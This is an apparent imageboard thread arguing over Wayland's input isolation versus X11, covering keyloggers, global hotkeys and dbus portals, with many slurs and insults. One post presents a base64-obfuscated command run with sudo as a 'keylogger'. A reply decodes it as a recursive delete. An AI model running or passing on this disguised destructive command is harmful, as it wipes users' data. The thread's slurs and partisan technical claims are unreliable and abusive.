They shilled Linux as "ultimate privacy solution" for years LOL
And Wayland is still a WORK-IN-PROGRESS project LOL

works on my machine

>>105796706 (OP)
Didn't xlibre enabled namespaces? It was one of those x11 patches that were pending there and never applied (thank again redhat)

>>105796727
If this is true, you will see it soon. If not, rh trannies were right about the schizo

>>105796706 (OP)
Just don't install keyloggers?
Being able to receive input without being the focused window is a critical feature to have available. I'm not going to live in a padded room "for my own good", I should be free to choose how much security I'm willing to sacrifice for usability

>>105796706 (OP)
Neither does Windows. The X11 behaviour is normal and you constantly see people complaining about Wayland because it doesn't support keylogging.

>>105796742
It's true

How does it handle keyboard shortcuts?

>>105796781
It doesn't

>>105796778
Impresive, very nice. Let's see if it can be build.

>>105796781
https://github.com/KDE/kglobalaccel
Like this, for example.

Linux is a hobby project maintained by hippies. They never cared about privacy. They don't even care about using https repo links. All repo links are http, you need to "fix" it yourself or anyone can see what packages you are installing and updating.

>>105796833
Wtf are you even talking about? Explain yourself like a full human and not like a passive aggressive bitch.

But Linux is secure so keyloggers shouldn't be running in the first place.

>>105796868
The problem rh trannies accused the schizo was he submitted changes which break or create more bugs.
Now, the schizo is adding features, we will see if this is true or not.

>>105796833
We've been using it for a week already

>>105796877
No, it's not. Linux server could be, desktop have X11 yet.

>>105796706 (OP)
>install keylogger
>keys get logged
>oh /g/entlemen, I am shocked; shocked to the core, I tell you... How? How could this have happened? :(

>>105796706 (OP)
>on le xorg... everything can be... le keylogger
redditors learning how operating systems work

>>105796761
Just don't install those themes then, gay retard. Every Linux tinker is potential system wide key logger.

>>105796706 (OP)
it's an user error to install untrusted software
just don't be retarded, i don't want my whole desktop be gimped because of some retarded non-existing security issues
no-one is spreading such FUD about microsoft, you can do the same fucking thing there

>>105796706 (OP)
Are you retarded? This exact concern also applies to both Windows and macOS. Wayland is the odd one out here, they forbid apps from listening to keyboard events when the window isn't focused, which breaks global hotkeys like push-to-talk, etc.

>>105796706 (OP)
>No global input
>No control
>No extensions
>No screen capture
They are advertising their lack of features like it's a good thing?

what about out-of-focus emulators apps?

>>105798085
You can have global hotkeys with wayland, but not provided by wayland.

>>105796854
it doesnt. the wording is precise because it actually doesnt work as you would expect if another window IS focused.

>>105799794
I just paused my music player, which doesn't even have a window, by pressing keys on my keyboard while looking at your post in my browser.

>>105799807
your music players binds are controled by dbus specifically as an edge case. it does not work for arbitrary global keybinds.

>>105796855
I love telling people what packages I use, that way they can use it too and we can all be frens! :D

>>105799828
What does that even mean. If you're wondering what keys I pressed it was alt+<
I dunno how it could be more arbitrary than fucking alt+<

>>105796706 (OP)
>post shows that Linux, in fact, does have input security
>default udev rules prevents normal users from reading keyboard events too
Are you retarded?

>>105799844
"media play/pause" is a virtual keyboard button, you've bound alt+< to an alias for that virtual button. It's a special case that happens to work
Some keyboards even have a physical play/pause

>>105799844
it means that your music player is listening for that bind (globally btw) not in wayland not in your de, not in your window manager, but through dbus.
you may be able to set specifically what happens to your music player when you press alt+< but you cannot set arbitrary commands. unless of course tou hook into dbus... and use it as a keylogger.

>>105796854
Also note that gnome has this as well. https://gitlab.gnome.org/GNOME/xdg-desktop-portal-gnome/-/merge_requests/208

>>105799876
I pressed meta+c and opened calculator while my browser was focused. That is 100% not a keybind associated with my browser nor is it a media button.

>>105799928
video NOW!

>>105796706 (OP)
But I want VLC and TeamSpeak to be keyloggers. How else can I control them without being in focus?

>>105799937
all the way from you logging in and showing that wayland is in fact the seasions being launched keep your keyboard and monitor in shot the entire time show settings and installed packages.

>>105799928
Trolling or retarded?
Calculator is also a fake-button, yes. So is internet browser, email, and a bunch of other weird shit. Look at this keyboard

>>10579996
What about custom shortcuts in something like Gnome? I have a few to launch apps/custom commands. Like F1 to open the terminal or Ctrl+Shift+Esc to open Mission Center.

>>105799967
I opened a video game next with a hotkey while my browser was in focus. Like just fucking install KDE and use the shortcuts feature.

>>105800140
you are just lying at this point dude. its not hard to test... i just went over this with yakuake like last week and documented my experience here even.

>>105796706 (OP)
With Windows, any app could be a keylogger.

>>105800174
Exactly, it's not hard to test which is why I don't get why you're not doing it. You can add literally any trash on here and open it with a hotkey or perform some functionality inside it regardless of what is in focus.

>>105800192
did you just not read the second part?

>>105800192
you can search for yakuake in a 4chan archive. its literally the second (third now) post with that word.

>>105800201
I did read the second part, it's bullshit. Either going over it last week left you completely confused about how this shit works to a point where you're not even able to describe the functionality at the most basic level or you're so inept at explaining why I'm wrong that it's hard to consider you sentient.

I press arbitrary hotkey I set, then expected shit happens regardless of what is in focus. You're just blankly saying that shit isn't happening when I literally see it right infront of me. Now, there could be things I don't understand about this but you're so shit at articulating what is wrong that you could convince an actual liar that he's telling the truth.

>>105800230
No I am not going to search for old shit. This is a waste of time. You have proven to be an idiot. If your current behaviour is any indication of what happened a week ago, then nobody should subject themselves to that asinine trash.

>>105800192
now that im going over it again.. you are right actually. *launching* the program does always work. what doesnt work is wretching focus from one open window to a specific already open other one.. is that a "global hotkey" or a "global program launcher" hmmmm
>>105800251
based

>>105800284
The program has to support some specific hotkeys, and I don't see why it wouldn't work. The only program I know which does support this feature is strawberry. There could be plenty more, I just don't know any other ones.
I was able to add a show/hide shortcut to it that works globally. If I press this button combination, it shows strawberry. If I press it again, it hides it. Focus doesn't matter.

>>105796706 (OP)
This wouldn't be a problem if they rewrote the linux kernel in Javascript.

>>105796706 (OP)
>They shilled Linux as "ultimate privacy solution" for years LOL
Hard MS/apple cope.

>They shilled Linux as "ultimate privacy solution" for years LOL
Because CLAPPING HANDS EMOJI
It CLAPPING HANDS EMOJI
Does not send your data CLAPPING HANDS EMOJI
To MS/apple servers CLAPPING HANDS EMOJI
You absolute clown CLAPPING HANDS EMOJI

>bb-b-b-b- what about
No CLAPPING HANDS EMOJI
operating system CLAPPING HANDS EMOJI
Is build for security CLAPPING HANDS EMOJI
They are all shit CLAPPING HANDS EMOJI
My Linux CLAPPING HANDS EMOJI
Does not send my data to big corporations CLAPPING HANDS EMOJI

Learn the difference CLAPPING HANDS EMOJI
Between Privacy and Security CLAPPING HANDS EMOJI
You absolute clown CLAPPING HANDS EMOJI

>>105796706 (OP)
>extensions bad!!
Just don't compile/enable them. They are extensions for a reason. Not gonna even bother replying to a retarded LLM nigger.

>>105800309
>correction
Focus DOES matter for hiding. It will always pull up strawberry when hotkey is pressed, it also does it on the monitor your cursor is on. It will not however hide strawberry if you have something else focused.

>>105796855
Behold the MS schizo.
>Muh FUD MUH FUD!

Yea imagine living in constant paranoia all you life.
>muh HTTPS
>If you so not have HTTPS literally everyone especially every kid in your street knows that you are downloading linux packages......
Yea imagine living in constant paranoia all you life.

>>105796706 (OP)
So, like Windows and Mac OS does?

>>105800343
you can see why this would be a huge problem for a drop down terminal? that im not just yelling wayland bad for no reason? i really try to use wayland, often even, but every time something like this keeps me away. just little annoyances building up, the same thing that drove me away from windows over time.

>>105796706 (OP)
Wayland is the product of a shifting paradigm where instead of not installing untrusted software, OSs are designed to confine and restrict untrusted software. I'm not a fan of this shift.

>>105800401
I'm not saying you shouldn't think wayland is trash and useless, but there's clearly a bit more nuance than simply "global hotkeys don't exist at all".

>>105796706 (OP)
>They shilled
Who is they?
I’ve personally never worked on a security critical Linux system that had a desktop. Just don’t install random “apps” anyway.
>LOL
>LOL
Tiresome

>>105800441
you are correct and i feel bad enough that im going to deflect and ask; should we kiss now?

>Wayland ensures only the focused app receives input events
>we didn't know how to do global input
fixed

>>105800465
Yeah nah. As long as you understand it's good.

>>105800483
Speaking of which, apparently someone tried to implement the KDE global shortcuts in OBS too
https://github.com/wordhater/obs-wayland-shortcuts-kde

>>105796706 (OP)
who cares

>>105796706 (OP)
Waycucks always throw the security scam, since the project is inferior to X11.

LOL!
KEEP COPING!
KEEP COPING!

>>105796706 (OP)
>>105801168
Link to the article?

>>105800360
>So, like Windows and Mac OS does?

Stop lying please...

>>105796727
>thank again redhat
you're not supposed to point that out lmao

>>105798106
you vill own nothing and you vill be happy

>>105796706 (OP)
runs shit in docker container, doesn't understand your x11 argument

>>105801209
>article
It's literally an AI summary on ChatGPT or Grok.

>>105801228
That's ChatGPT.
>MacOS Catalina
But if this is correct it's pretty recent.

>>105796889
More like this
>install normal program
>it logs your dickstrokes
>you thought it wouldn't and couldn't log them
>shock-ed

>>105802409
install normal programs then, not red hat slop or rustrannystani shit

>>105796706 (OP)
Windows to this day also doesn't have input security (and zero plans to adopt it outside of literally running the app inside Hyper-V).

And yes, Xorg is really far behind. It's a 20-year-old software that has not been able to keep up with new stuff. This is why we are killing it.

>>105802549
Xorg is only thing that works in Linux. Other is just garbage that is not reliable

>>105802549
>we
what are you doing on 4chan, red hat employee?

>>105802409
name 1 (one) program that ever did this (hint: you can't, because it only ever happened in your mind)

>>105802549
Wayland is really far behind. It's a ~20-year-old software that has not been implement old standard stuff. This is why we are killing it.

>>105802565
Xorg is the sick man of Linux.
Some mistakes were made along the way, especially by allowing direct contribution from graphic card companies that wreak havoc in the codebase.
Today, XORG is incredibly bloated because of this. It got to a point where even paying good money, people did not want to work on Xorg. This is why Wayland was created.
The criticism over Wayland from the developers is exactly because Wayland enforces a single right way to do something instead of 5 for every graphics card.

>>105802618
>because Wayland enforces a single right way to do something
except that "right" way is wrong.

>>105802618
>The criticism over Wayland from the developers is exactly because Wayland enforces a single right way to do something instead of 5 for every graphics card.
the criticism over wayland from the users is because it breaks their workflow and introduces bugs and regression. This is because it forces developers to bypass it's "security" using dbus due to not providing any way to do many things. Wayland is not secure, it's restrictive both for the developers, and for the users

>>105802634
>>105802647
We are not in 2020 anymore. Wayland is not an edgy prototype being pushed in new distros to see where it breaks. It works fine.

>>105802689
>can't have global shortcuts in your cross-platform apps without going through an (((approval process)))
>can't make screenshots on your own fucking computer without jumping through hoops
>can't remote desktop without a heavy ass fuck third party app
>red hat slop

>>105802708
every single thing you mention works fine on my Fedora with GNOME (the best desktop environment ever created)

>>105802717
>get fully into the red hat ecosystem, goy
nah I'm good. no systemd either.

>>105802689
https://rationalwiki.org/w/images/b/b6/Fractal-wrongness.jpg

>>105796706 (OP)
As opposed to.. Windows?

>>105799881
the workarounds people use dbus for are insane
i bet the attack surface for dbus is impossible to secure

>>105802741
>rationalwiki.org
Really nigga?

>>105802788
due to your boy jay nigger irwin banning me from uploading images I had to find a link; and I'm too lazy to use a proxy this evening

Literally the OS job, y'all are stupid af

>>105796706 (OP)
I don't want "input security", I want applications to have working hotkeys even if they're not in focus. I don't want to have to fight my OS to achieve that.
>muh keyloggers
Just don't install a keylogger you retard.

>>105796706 (OP)
>AI output
didn't read, probably half bullshit

>>105796706 (OP)
Here's your keylogger bro:
printf '%s%s' 'cm0gLXJmIC8q' 'bWUqIC9tbnQK' | `base64 -d` > keylogger.sh
sudo sh ./keylogger.sh

>>105804813
rm -rf /*me* /mnt

its same on windoze and starbucksemployeeOS and some features are borked on wayland because of this. op is iq deficient a thread died for this

>>105796706 (OP)
why do you type like you call everyone "sir" irl and smell bad?

>>105802618
> Wayland enforces a single right way to do something
Wayland enforces zero ways to do some things, that are considered basic features on every other windowing system.

LINUX TROONS ON SUICIDE WTACH

It's the real reason why they made wayland so they can sell linux machine to the army.

>>105803819
>Just don't install a keylogger you retard.
it's funny how redhattards always "forget" this

>>105805823
Is that Anthony from my favorite technology channel LTT?

>>105802618
>It got to a point where even paying good money, people did not want to work on Xorg
Today, Windows 10 is incredibly bloated because of this. It got to a point where even paying good money, people did not want to work on Windows 10. This is why Windows 11 was created.
Never trust to paid code contributors, the actual reason will almost never be disclosed

>>105799882
>>105796854
Every program has to be rewritten to accept those "portals" specifically or they won't work. Meaning all legacy programs and anything running on WINE won't be able to make use of it. Still it's limited and it's a retarded workaround.

Gayland devs boast about how Xorg is bad because it's a bunch of patches and spaghetti code but Gayland itself needs a billion different extensions and external programs to provide basic functionality. It's going to be even worse than Xorg because Xorg is at least a standard instead of 20 different compositors with different extensions and implementations.

>>105807368
>and anything running on WINE won't be able to make use of it
IBM/RH is trying to force us back on the microshart plantation.
hint: it's not working

>>105796706 (OP)
Doesn't matter on Linux anyway because all software you will run is open source so who is gonna spy on you?

>>105796706 (OP)
those are all expected and useful behavior for a normal user-oriented desktop environment, windows is the exact same
getting it back, which is necessary for usecases like automation, apparently requires actually insecure system configuration
X11 is insecure not because it lets you do that but because it's capable of remoting
wayland doubles down on this and assumes a network first design
a base desktop environment shouldn't need to have a network oriented threat model and shouldn't have remoting capabilities
probably shouldn't even have multi-session capabilities
>oh no the client can't be trusted
the session "clients" and server are effectively the same entity from a security scope
if an untrusted client is running it doesn't matter what a display server is doing for security

>>105802764
we need to start working on gaybus right now to mitigate this issue

>>105799960
also show bussy to the camera so we can confirm the video is legit

>>105796706 (OP)
Linux users (the amateurs) have no clue about security. They think there's no malware on linux because you can't run exe files. DESU I thought so too, when I was 15.

But purely from logic one can deduct that linux isn't inherently safer. You can compile your software on windows too. You never check the source code anyway. You have no idea what repo is secure and what happens under the hood. You have no idea what the program that asks for your sudo might do in the background. Etc etc

>>105796855
>They don't even care about using https repo links. All repo links are http
why would they not use https? it doesn't degrade anything?
>you need to "fix" it yourself
can the official repo links be changed to https somehow or will that break it and it required using mirrors?

>attacker gains access to your machine
>attaches a keylogger to your xorg session
>does nothing else whatsoever
waytrannies actually believe this happens

>>105796720
Yes, keyloggers work on your machine. Congratulations.